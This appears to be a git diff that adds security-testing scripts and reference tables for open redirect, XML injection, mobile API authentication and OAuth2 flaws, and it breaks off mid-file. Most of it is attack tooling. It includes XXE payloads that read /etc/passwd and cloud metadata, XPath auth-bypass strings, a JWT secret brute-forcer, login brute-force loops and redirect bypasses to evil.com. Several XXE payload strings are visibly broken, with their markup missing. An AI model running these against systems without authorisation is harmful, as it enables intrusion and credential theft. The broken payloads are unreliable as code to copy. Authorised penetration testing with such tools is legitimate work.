self.discover_redirect_params() + all_results = [] + for point in points: + results = self.test_redirect_bypass(point["path"], point["param"]) + all_results.extend(results) + return all_results + + def test_javascript_redirect(self, path="/", param="url"): + """Check for JavaScript-based redirects using meta refresh or JS.""" + test_url = f"{self.target_url}{path}?{param}=https://evil.com" + resp = self._get(test_url, allow_redirects=True) + if resp and "evil.com" in resp.text: + js_patterns = ["window.location", "document.location", "meta http-equiv"] + for pattern in js_patterns: + if pattern in resp.text: + self.findings.append({ + "severity": "medium", + "type": "JavaScript Redirect", + "detail": f"Client-side redirect via {pattern}", + }) + return {"pattern": pattern, "found": True} + return {"found": False} + + def generate_report(self): + redirect_points = self.discover_redirect_params() + bypass_results = self.test_all_endpoints(redirect_points) + + report = { + "report_date": datetime.utcnow().isoformat(), + "target": self.target_url, + "redirect_parameters_found": len(redirect_points), + "redirect_points": redirect_points, + "bypass_results": bypass_results, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "open_redirect_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py ") + sys.exit(1) + agent = OpenRedirectTestAgent(sys.argv[1]) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/testing-for-sensitive-data-exposure/LICENSE b/skills/testing-for-sensitive-data-exposure/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-for-sensitive-data-exposure/LICENSE +++ b/skills/testing-for-sensitive-data-exposure/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-for-xml-injection-vulnerabilities/LICENSE b/skills/testing-for-xml-injection-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-for-xml-injection-vulnerabilities/LICENSE +++ b/skills/testing-for-xml-injection-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-for-xml-injection-vulnerabilities/references/api-reference.md b/skills/testing-for-xml-injection-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..1dbdf873 --- /dev/null +++ b/skills/testing-for-xml-injection-vulnerabilities/references/api-reference.md @@ -0,0 +1,45 @@ +# API Reference: Testing for XML Injection Vulnerabilities + +## XXE Payload Types + +| Payload | Severity | Description | +|---------|----------|-------------| +| File read (Linux) | Critical | `file:///etc/passwd` entity inclusion | +| File read (Windows) | Critical | `file:///c:/windows/win.ini` entity | +| SSRF via HTTP | Critical | Entity fetching internal metadata URL | +| Parameter entity | High | External DTD loading via `%entity` | +| Billion laughs | High | Recursive entity expansion (DoS) | +| UTF-7 encoding | High | Encoding bypass for WAF evasion | + +## XPath Injection Payloads + +| Payload | Purpose | +|---------|---------| +| `' or '1'='1` | Boolean-based auth bypass | +| `'] \| //user/password \| //foo['` | Data extraction via union | +| `1 or 1=1` | Numeric context injection | + +## Detection Indicators + +| Attack | Success Indicator | +|--------|-------------------| +| Linux file read | `root:` in response body | +| Windows file read | `[fonts]` or `extensions` in response | +| SSRF metadata | `ami-id` or `instance-id` in response | +| Billion laughs | Response time > 5 seconds | +| Content-type switch | XML accepted when JSON expected | +| SVG XXE | `root:` in upload response | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP POST with XML payloads | +| `json` | stdlib | Report generation | +| `pathlib` | stdlib | Output directory management | + +## References + +- OWASP XXE Prevention: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html +- PortSwigger XXE: https://portswigger.net/web-security/xxe +- PayloadsAllTheThings XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection diff --git a/skills/testing-for-xml-injection-vulnerabilities/scripts/agent.py b/skills/testing-for-xml-injection-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..ca72739e --- /dev/null +++ b/skills/testing-for-xml-injection-vulnerabilities/scripts/agent.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python3 +"""Agent for testing XML injection vulnerabilities. + +Tests web applications for XXE (XML External Entity), XPath +injection, and XML entity expansion attacks that enable file +disclosure, SSRF, and denial of service. +""" + +import json +import sys +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +XXE_PAYLOADS = { + "file_read_linux": ']>&xxe;', + "file_read_windows": ']>&xxe;', + "ssrf_http": ']>&xxe;', + "parameter_entity": '%xxe;]>test', + "billion_laughs": ']>&lol3;', + "utf7_encoding": '+ADw-!DOCTYPE foo +AFs-+ADw-!ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI-+AD4-+AF0-+AD4-+ADw-root+AD4-+ACY-xxe+ADs-+ADw-/root+AD4-', +} + +XPATH_PAYLOADS = [ + "' or '1'='1", + "' or 1=1 or '", + "admin' or '1'='1", + "'] | //user/password | //foo['", + "1 or 1=1", +] + + +class XMLInjectionTestAgent: + """Tests for XML injection vulnerabilities.""" + + def __init__(self, target_url, output_dir="./xml_injection_test"): + self.target_url = target_url.rstrip("/") + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _post_xml(self, path, xml_data, timeout=15): + if not requests: + return None + try: + return requests.post( + f"{self.target_url}{path}", + data=xml_data, + headers={"Content-Type": "application/xml"}, + timeout=timeout, + ) + except requests.RequestException: + return None + + def _post_json(self, path, data, timeout=15): + if not requests: + return None + try: + return requests.post( + f"{self.target_url}{path}", json=data, timeout=timeout + ) + except requests.RequestException: + return None + + def test_xxe(self, endpoint, custom_template=None): + """Test endpoint for XXE vulnerabilities.""" + results = [] + for name, payload in XXE_PAYLOADS.items(): + if custom_template: + payload = custom_template.replace("PAYLOAD_HERE", payload) + + resp = self._post_xml(endpoint, payload) + if not resp: + continue + + indicators = { + "file_read_linux": "root:" in resp.text, + "file_read_windows": "[fonts]" in resp.text or "extensions" in resp.text.lower(), + "ssrf_http": "ami-id" in resp.text or "instance-id" in resp.text, + "parameter_entity": resp.status_code == 200, + "billion_laughs": resp.elapsed.total_seconds() > 5, + "utf7_encoding": "root:" in resp.text, + } + + if indicators.get(name, False): + severity = "critical" if "file_read" in name or "ssrf" in name else "high" + results.append({ + "payload": name, + "status": resp.status_code, + "response_preview": resp.text[:200], + "vulnerable": True, + }) + self.findings.append({ + "severity": severity, + "type": "XXE", + "detail": f"{name} successful at {endpoint}", + }) + return results + + def test_xpath_injection(self, endpoint, field_name="username"): + """Test for XPath injection in search/login endpoints.""" + results = [] + for payload in XPATH_PAYLOADS: + data = {field_name: payload} + resp = self._post_json(endpoint, data) + if not resp: + continue + + if resp.status_code == 200 and len(resp.text) > 50: + results.append({ + "payload": payload, + "status": resp.status_code, + "response_length": len(resp.text), + }) + self.findings.append({ + "severity": "high", + "type": "XPath Injection", + "detail": f"XPath injection at {endpoint} with '{payload[:30]}'", + }) + return results + + def test_content_type_switch(self, endpoint, original_json=None): + """Test if endpoint accepts XML when JSON is expected.""" + payload = original_json or {"username": "test", "password": "test"} + xml_equiv = ']>' + xml_equiv += f'&xxe;test' + + resp = self._post_xml(endpoint, xml_equiv) + if resp and resp.status_code in (200, 201): + accepted = True + if "root:" in resp.text: + self.findings.append({ + "severity": "critical", + "type": "Content-Type Switch XXE", + "detail": f"Endpoint {endpoint} accepts XML with XXE when JSON expected", + }) + return {"accepted": accepted, "status": resp.status_code} + return {"accepted": False} + + def test_svg_xxe(self, upload_endpoint, field_name="file"): + """Test SVG file upload for XXE.""" + svg_xxe = ''' +]> + + &xxe; +''' + + if not requests: + return {"error": "requests not available"} + try: + resp = requests.post( + f"{self.target_url}{upload_endpoint}", + files={field_name: ("test.svg", svg_xxe, "image/svg+xml")}, + timeout=15, + ) + if resp and "root:" in resp.text: + self.findings.append({ + "severity": "critical", + "type": "SVG XXE", + "detail": f"SVG upload at {upload_endpoint} triggers XXE", + }) + return {"vulnerable": True} + except requests.RequestException: + pass + return {"vulnerable": False} + + def generate_report(self, endpoints=None): + xxe_results = [] + if endpoints: + for ep in endpoints: + xxe_results.extend(self.test_xxe(ep)) + + report = { + "report_date": datetime.utcnow().isoformat(), + "target": self.target_url, + "xxe_results": xxe_results, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "xml_injection_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--endpoint /api/xml]") + sys.exit(1) + url = sys.argv[1] + endpoints = ["/api/xml"] + if "--endpoint" in sys.argv: + endpoints = [sys.argv[sys.argv.index("--endpoint") + 1]] + agent = XMLInjectionTestAgent(url) + agent.generate_report(endpoints) + + +if __name__ == "__main__": + main() diff --git a/skills/testing-for-xss-vulnerabilities-with-burpsuite/LICENSE b/skills/testing-for-xss-vulnerabilities-with-burpsuite/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-for-xss-vulnerabilities-with-burpsuite/LICENSE +++ b/skills/testing-for-xss-vulnerabilities-with-burpsuite/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-for-xss-vulnerabilities/LICENSE b/skills/testing-for-xss-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-for-xss-vulnerabilities/LICENSE +++ b/skills/testing-for-xss-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-for-xxe-injection-vulnerabilities/LICENSE b/skills/testing-for-xxe-injection-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-for-xxe-injection-vulnerabilities/LICENSE +++ b/skills/testing-for-xxe-injection-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-jwt-token-security/LICENSE b/skills/testing-jwt-token-security/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-jwt-token-security/LICENSE +++ b/skills/testing-jwt-token-security/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-mobile-api-authentication/LICENSE b/skills/testing-mobile-api-authentication/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-mobile-api-authentication/LICENSE +++ b/skills/testing-mobile-api-authentication/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-mobile-api-authentication/references/api-reference.md b/skills/testing-mobile-api-authentication/references/api-reference.md new file mode 100644 index 00000000..ddda6606 --- /dev/null +++ b/skills/testing-mobile-api-authentication/references/api-reference.md @@ -0,0 +1,48 @@ +# API Reference: Testing Mobile API Authentication + +## Common Mobile Auth Endpoints + +| Endpoint | Method | Purpose | +|----------|--------|---------| +| /api/v1/login | POST | Username/password authentication | +| /api/v1/register | POST | New account creation | +| /api/v1/token | POST | OAuth token exchange | +| /api/v1/refresh | POST | Token refresh flow | +| /api/v1/logout | POST | Session termination | +| /api/v1/verify-otp | POST | MFA code verification | +| /api/v1/me | GET | Current user profile | + +## Mobile-Specific JWT Claims + +| Claim | Purpose | Security Impact | +|-------|---------|-----------------| +| device_id / did | Bind token to device | Prevents token theft across devices | +| platform | iOS/Android identifier | Enables platform-specific policy | +| app_version | Client version tracking | Version-gated feature access | +| exp | Token expiration | Missing = permanent access | + +## Test Categories + +| Test | Severity | Description | +|------|----------|-------------| +| No auth access | Critical | Endpoints accessible without token | +| IDOR | Critical | Access other users' resources | +| Weak JWT secret | Critical | Brute-force HMAC signing key | +| Token reuse after logout | High | Token valid after logout | +| No rate limiting | High | Unlimited login attempts | +| Missing device binding | Medium | Token works on any device | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP API testing | +| `base64` | stdlib | JWT decoding | +| `hmac` | stdlib | HMAC signature verification | +| `hashlib` | stdlib | Hash functions for JWT | + +## References + +- OWASP Mobile Top 10: https://owasp.org/www-project-mobile-top-10/ +- OWASP API Security Top 10: https://owasp.org/API-Security/ +- MASVS Authentication: https://mas.owasp.org/MASVS/05-MASVS-AUTH/ diff --git a/skills/testing-mobile-api-authentication/scripts/agent.py b/skills/testing-mobile-api-authentication/scripts/agent.py new file mode 100644 index 00000000..9037b501 --- /dev/null +++ b/skills/testing-mobile-api-authentication/scripts/agent.py @@ -0,0 +1,197 @@ +#!/usr/bin/env python3 +"""Agent for testing mobile API authentication security. + +Tests mobile app backend APIs for broken authentication, insecure +token management, session fixation, privilege escalation, and +IDOR vulnerabilities using intercepted traffic analysis. +""" + +import json +import base64 +import hashlib +import hmac +import sys +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +AUTH_ENDPOINTS = [ + "/api/v1/login", "/api/v1/register", "/api/v1/token", + "/api/v1/refresh", "/api/v1/logout", "/api/v1/forgot-password", + "/api/v1/reset-password", "/api/v1/verify-otp", "/api/v1/me", + "/api/v2/auth/login", "/auth/token", "/oauth/token", +] + +WEAK_SECRETS = [ + "secret", "password", "123456", "mobile_secret", "app_secret", + "changeme", "default", "your-256-bit-secret", "s3cr3t", +] + + +class MobileAPIAuthAgent: + """Tests mobile API authentication mechanisms.""" + + def __init__(self, base_url, output_dir="./mobile_api_auth_test"): + self.base_url = base_url.rstrip("/") + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _req(self, method, path, **kwargs): + if not requests: + return None + kwargs.setdefault("timeout", 10) + try: + return requests.request(method, f"{self.base_url}{path}", **kwargs) + except requests.RequestException: + return None + + def discover_auth_endpoints(self): + """Probe common mobile auth endpoints.""" + found = [] + for ep in AUTH_ENDPOINTS: + resp = self._req("OPTIONS", ep) + if resp and resp.status_code != 404: + found.append({"endpoint": ep, "status": resp.status_code, + "methods": resp.headers.get("Allow", "")}) + return found + + def test_no_auth_access(self, endpoints=None): + """Test endpoints without authentication token.""" + targets = endpoints or ["/api/v1/me", "/api/v1/users", "/api/v1/orders", + "/api/v1/settings", "/api/v1/notifications"] + results = [] + for ep in targets: + resp = self._req("GET", ep) + if resp and resp.status_code == 200: + results.append({"endpoint": ep, "status": 200, "body_len": len(resp.text)}) + self.findings.append({"severity": "critical", "type": "No Auth Required", + "detail": f"{ep} accessible without token"}) + return results + + def decode_jwt(self, token): + parts = token.split(".") + if len(parts) != 3: + return None, None + def pad(s): return s + "=" * (4 - len(s) % 4) + try: + header = json.loads(base64.urlsafe_b64decode(pad(parts[0]))) + payload = json.loads(base64.urlsafe_b64decode(pad(parts[1]))) + return header, payload + except Exception: + return None, None + + def analyze_token(self, token): + """Analyze JWT for mobile-specific weaknesses.""" + header, payload = self.decode_jwt(token) + if not header: + return {"error": "Invalid token"} + issues = [] + if header.get("alg") == "none": + issues.append({"severity": "critical", "issue": "alg:none - no signature"}) + if "exp" not in payload: + issues.append({"severity": "high", "issue": "No expiration - token lives forever"}) + if "device_id" not in payload and "did" not in payload: + issues.append({"severity": "medium", "issue": "No device binding in token"}) + if header.get("alg", "").startswith("HS"): + issues.append({"severity": "info", "issue": "Symmetric HMAC - test weak secrets"}) + for i in issues: + self.findings.append({"severity": i["severity"], "type": "Token Analysis", "detail": i["issue"]}) + return {"header": header, "payload": payload, "issues": issues} + + def test_token_reuse_after_logout(self, token, logout_path="/api/v1/logout"): + """Test if token remains valid after logout.""" + headers = {"Authorization": f"Bearer {token}"} + self._req("POST", logout_path, headers=headers) + resp = self._req("GET", "/api/v1/me", headers=headers) + if resp and resp.status_code == 200: + self.findings.append({"severity": "high", "type": "Token Reuse After Logout", + "detail": "Token still valid after logout call"}) + return {"reusable": True} + return {"reusable": False} + + def test_rate_limiting(self, login_path="/api/v1/login", attempts=20): + """Test brute-force protection on login endpoint.""" + blocked = False + for i in range(attempts): + resp = self._req("POST", login_path, json={"username": "test", "password": f"wrong{i}"}) + if resp and resp.status_code == 429: + blocked = True + break + if not blocked: + self.findings.append({"severity": "high", "type": "No Rate Limiting", + "detail": f"Login accepted {attempts} attempts without blocking"}) + return {"rate_limited": blocked, "attempts": attempts} + + def test_idor(self, token, resource_path="/api/v1/users/{id}", own_id="1", other_id="2"): + """Test for IDOR by accessing another user's resource.""" + headers = {"Authorization": f"Bearer {token}"} + own = self._req("GET", resource_path.format(id=own_id), headers=headers) + other = self._req("GET", resource_path.format(id=other_id), headers=headers) + if own and other and other.status_code == 200: + self.findings.append({"severity": "critical", "type": "IDOR", + "detail": f"User {own_id} can access user {other_id} data"}) + return {"vulnerable": True} + return {"vulnerable": False} + + def brute_force_jwt_secret(self, token): + """Test for weak HMAC signing secrets.""" + header, _ = self.decode_jwt(token) + if not header or header.get("alg") not in ("HS256", "HS384", "HS512"): + return None + parts = token.split(".") + signing_input = f"{parts[0]}.{parts[1]}".encode() + alg_map = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512} + h = alg_map[header["alg"]] + for secret in WEAK_SECRETS: + expected = base64.urlsafe_b64encode( + hmac.new(secret.encode(), signing_input, h).digest() + ).decode().rstrip("=") + if expected == parts[2]: + self.findings.append({"severity": "critical", "type": "Weak JWT Secret", + "detail": f"Secret cracked: '{secret}'"}) + return secret + return None + + def generate_report(self, token=None): + endpoints = self.discover_auth_endpoints() + no_auth = self.test_no_auth_access() + token_analysis = self.analyze_token(token) if token else None + secret = self.brute_force_jwt_secret(token) if token else None + + report = { + "report_date": datetime.utcnow().isoformat(), + "target": self.base_url, + "auth_endpoints": endpoints, + "unauthenticated_access": no_auth, + "token_analysis": token_analysis, + "weak_secret": secret, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "mobile_api_auth_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--token ]") + sys.exit(1) + url = sys.argv[1] + token = None + if "--token" in sys.argv: + token = sys.argv[sys.argv.index("--token") + 1] + agent = MobileAPIAuthAgent(url) + agent.generate_report(token) + + +if __name__ == "__main__": + main() diff --git a/skills/testing-oauth2-implementation-flaws/LICENSE b/skills/testing-oauth2-implementation-flaws/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-oauth2-implementation-flaws/LICENSE +++ b/skills/testing-oauth2-implementation-flaws/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-oauth2-implementation-flaws/references/api-reference.md b/skills/testing-oauth2-implementation-flaws/references/api-reference.md new file mode 100644 index 00000000..456b72d1 --- /dev/null +++ b/skills/testing-oauth2-implementation-flaws/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: Testing OAuth2 Implementation Flaws + +## OAuth 2.0 Grant Types + +| Grant Type | Use Case | Risk Level | +|------------|----------|------------| +| Authorization Code | Server-side apps | Low (with PKCE) | +| Authorization Code + PKCE | Mobile/SPA apps | Low | +| Implicit | Legacy SPAs | High (deprecated) | +| Client Credentials | Machine-to-machine | Medium | +| Resource Owner Password | Legacy migration | High | + +## OAuth Attack Surface + +| Attack | Severity | Vector | +|--------|----------|--------| +| Redirect URI bypass | Critical | Subdomain, path traversal, encoding | +| Missing state parameter | High | CSRF-based account linking | +| PKCE bypass | High | Authorization code interception | +| Scope escalation | High | Request unauthorized permissions | +| Code reuse | High | Replay authorization code | +| Token in URL fragment | Medium | Referer header leakage | +| Implicit flow | Medium | Token exposure in browser history | + +## Redirect URI Bypass Techniques + +| Technique | Example | +|-----------|---------| +| Subdomain append | `redirect.com.evil.com` | +| Path traversal | `redirect.com/../evil.com` | +| At-sign confusion | `redirect.com@evil.com` | +| Fragment bypass | `redirect.com%23@evil.com` | +| Query parameter | `redirect.com?next=evil.com` | +| HTTP downgrade | `http://` instead of `https://` | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP OAuth flow testing | +| `secrets` | stdlib | State/nonce generation | +| `urllib.parse` | stdlib | URL parameter encoding | +| `hashlib` | stdlib | PKCE code challenge | + +## References + +- OAuth 2.0 Security Best Practices: https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics +- PortSwigger OAuth: https://portswigger.net/web-security/oauth +- RFC 6749: https://www.rfc-editor.org/rfc/rfc6749 +- RFC 7636 (PKCE): https://www.rfc-editor.org/rfc/rfc7636 diff --git a/skills/testing-oauth2-implementation-flaws/scripts/agent.py b/skills/testing-oauth2-implementation-flaws/scripts/agent.py new file mode 100644 index 00000000..173b43cf --- /dev/null +++ b/skills/testing-oauth2-implementation-flaws/scripts/agent.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python3 +"""Agent for testing OAuth 2.0 implementation flaws. + +Tests OAuth authorization code flow, redirect URI validation, +state/PKCE enforcement, token leakage, scope escalation, and +OIDC ID token validation weaknesses. +""" + +import json +import sys +import re +import secrets +import hashlib +import base64 +from pathlib import Path +from datetime import datetime +from urllib.parse import urlparse, parse_qs, urlencode + +try: + import requests +except ImportError: + requests = None + + +class OAuth2TestAgent: + """Tests OAuth 2.0 / OIDC implementations for security flaws.""" + + def __init__(self, auth_url, token_url, client_id, redirect_uri, + output_dir="./oauth2_test"): + self.auth_url = auth_url + self.token_url = token_url + self.client_id = client_id + self.redirect_uri = redirect_uri + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _get(self, url, **kwargs): + if not requests: + return None + kwargs.setdefault("timeout", 10) + kwargs.setdefault("allow_redirects", False) + try: + return requests.get(url, **kwargs) + except requests.RequestException: + return None + + def _post(self, url, **kwargs): + if not requests: + return None + kwargs.setdefault("timeout", 10) + try: + return requests.post(url, **kwargs) + except requests.RequestException: + return None + + def test_redirect_uri_validation(self): + """Test redirect_uri for open redirect and bypass techniques.""" + bypasses = [ + self.redirect_uri + ".evil.com", + self.redirect_uri + "@evil.com", + self.redirect_uri + "/../evil.com", + "https://evil.com", + self.redirect_uri.replace("https://", "http://"), + self.redirect_uri + "%23@evil.com", + self.redirect_uri + "?next=https://evil.com", + ] + results = [] + for uri in bypasses: + params = { + "response_type": "code", "client_id": self.client_id, + "redirect_uri": uri, "scope": "openid", + "state": secrets.token_urlsafe(16), + } + resp = self._get(f"{self.auth_url}?{urlencode(params)}") + if resp and resp.status_code in (301, 302, 303, 307): + location = resp.headers.get("Location", "") + if "code=" in location or uri in location: + results.append({"redirect_uri": uri, "accepted": True, "location": location[:200]}) + self.findings.append({"severity": "critical", "type": "Redirect URI Bypass", + "detail": f"Server accepted redirect_uri: {uri}"}) + return results + + def test_state_parameter(self): + """Test if state parameter is enforced (CSRF protection).""" + params = { + "response_type": "code", "client_id": self.client_id, + "redirect_uri": self.redirect_uri, "scope": "openid", + } + resp = self._get(f"{self.auth_url}?{urlencode(params)}") + if resp and resp.status_code in (301, 302, 303, 307): + location = resp.headers.get("Location", "") + if "state=" not in location: + self.findings.append({"severity": "high", "type": "Missing State Parameter", + "detail": "OAuth flow proceeds without state (CSRF risk)"}) + return {"state_enforced": False} + return {"state_enforced": True} + + def test_pkce_enforcement(self): + """Test if PKCE is required for public clients.""" + params = { + "response_type": "code", "client_id": self.client_id, + "redirect_uri": self.redirect_uri, "scope": "openid", + "state": secrets.token_urlsafe(16), + } + resp = self._get(f"{self.auth_url}?{urlencode(params)}") + if resp and resp.status_code in (301, 302, 303, 307): + self.findings.append({"severity": "high", "type": "PKCE Not Required", + "detail": "Authorization proceeds without code_challenge"}) + return {"pkce_required": False} + return {"pkce_required": True} + + def test_scope_escalation(self, extra_scopes=None): + """Test requesting more scopes than authorized.""" + scopes = extra_scopes or ["admin", "write", "delete", "users:admin", "openid profile email"] + results = [] + for scope in scopes: + params = { + "response_type": "code", "client_id": self.client_id, + "redirect_uri": self.redirect_uri, "scope": scope, + "state": secrets.token_urlsafe(16), + } + resp = self._get(f"{self.auth_url}?{urlencode(params)}") + if resp and resp.status_code in (301, 302, 303, 307): + results.append({"scope": scope, "accepted": True}) + self.findings.append({"severity": "high", "type": "Scope Escalation", + "detail": f"Server granted scope: {scope}"}) + return results + + def test_code_reuse(self, auth_code): + """Test if authorization code can be reused multiple times.""" + data = { + "grant_type": "authorization_code", "code": auth_code, + "client_id": self.client_id, "redirect_uri": self.redirect_uri, + } + resp1 = self._post(self.token_url, data=data) + resp2 = self._post(self.token_url, data=data) + if resp2 and resp2.status_code == 200: + self.findings.append({"severity": "high", "type": "Code Reuse", + "detail": "Authorization code accepted multiple times"}) + return {"reusable": True} + return {"reusable": False} + + def test_token_in_url(self): + """Test if implicit flow returns tokens in URL fragment.""" + params = { + "response_type": "token", "client_id": self.client_id, + "redirect_uri": self.redirect_uri, "scope": "openid", + "state": secrets.token_urlsafe(16), + } + resp = self._get(f"{self.auth_url}?{urlencode(params)}") + if resp and resp.status_code in (301, 302, 303, 307): + location = resp.headers.get("Location", "") + if "access_token=" in location: + self.findings.append({"severity": "medium", "type": "Implicit Flow Token Exposure", + "detail": "Access token returned in URL fragment"}) + return {"token_in_url": True} + return {"token_in_url": False} + + def generate_report(self, auth_code=None): + redirect_results = self.test_redirect_uri_validation() + state = self.test_state_parameter() + pkce = self.test_pkce_enforcement() + scope = self.test_scope_escalation() + token_url = self.test_token_in_url() + code_reuse = self.test_code_reuse(auth_code) if auth_code else None + + report = { + "report_date": datetime.utcnow().isoformat(), + "auth_url": self.auth_url, + "redirect_uri_bypasses": redirect_results, + "state_parameter": state, + "pkce_enforcement": pkce, + "scope_escalation": scope, + "implicit_flow": token_url, + "code_reuse": code_reuse, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "oauth2_test_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 5: + print("Usage: agent.py [--code ]") + sys.exit(1) + auth_url, token_url, client_id, redirect_uri = sys.argv[1:5] + code = None + if "--code" in sys.argv: + code = sys.argv[sys.argv.index("--code") + 1] + agent = OAuth2TestAgent(auth_url, token_url, client_id, redirect_uri) + agent.generate_report(code) + + +if __name__ == "__main__": + main() diff --git a/skills/testing-websocket-api-security/LICENSE b/skills/testing-websocket-api-security/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-websocket-api-security/LICENSE +++ b/skills/testing-websocket-api-security/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-websocket-api-security/references/api-reference.md b/skills/testing-websocket-api-security/references/api-reference.md new file mode 100644 index 00000000..30fad533 --- /dev/null +++ b/skills/testing-websocket-api-security/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference: Testing WebSocket API Security + +## WebSocket Attack Surface + +| Attack | Severity | Description | +|--------|----------|-------------| +| CSWSH | Critical | Cross-Site WebSocket Hijacking via Origin | +| No authentication | High | Connection without credentials accepted | +| Channel auth bypass | High | Subscribe to privileged channels | +| Injection via messages | Medium | SQL/XSS/command injection in payloads | +| Message flooding | Medium | DoS through rapid message sending | +| Prototype pollution | Medium | `__proto__` payload in JSON messages | + +## WebSocket Handshake Headers + +| Header | Direction | Purpose | +|--------|-----------|---------| +| Upgrade: websocket | Request | Protocol upgrade request | +| Connection: Upgrade | Request | Connection type change | +| Sec-WebSocket-Key | Request | Client nonce for handshake | +| Sec-WebSocket-Version | Request | Protocol version (13) | +| Sec-WebSocket-Accept | Response | Server handshake confirmation | +| Origin | Request | CSWSH validation target | + +## Injection Payload Categories + +| Category | Example | +|----------|---------| +| Admin action | `{"action":"admin","data":"test"}` | +| Path traversal | `{"channel":"../admin"}` | +| XSS | `` | +| SQLi | `' OR 1=1 --` | +| Prototype pollution | `{"__proto__":{"isAdmin":true}}` | +| Oversized message | 100KB+ payload | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `websockets` | >=10.0 | Async WebSocket client | +| `asyncio` | stdlib | Async event loop | +| `requests` | >=2.28 | HTTP upgrade header check | +| `json` | stdlib | Message/report serialization | + +## References + +- OWASP WebSocket Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets +- PortSwigger WebSocket: https://portswigger.net/web-security/websockets +- RFC 6455: https://www.rfc-editor.org/rfc/rfc6455 diff --git a/skills/testing-websocket-api-security/scripts/agent.py b/skills/testing-websocket-api-security/scripts/agent.py new file mode 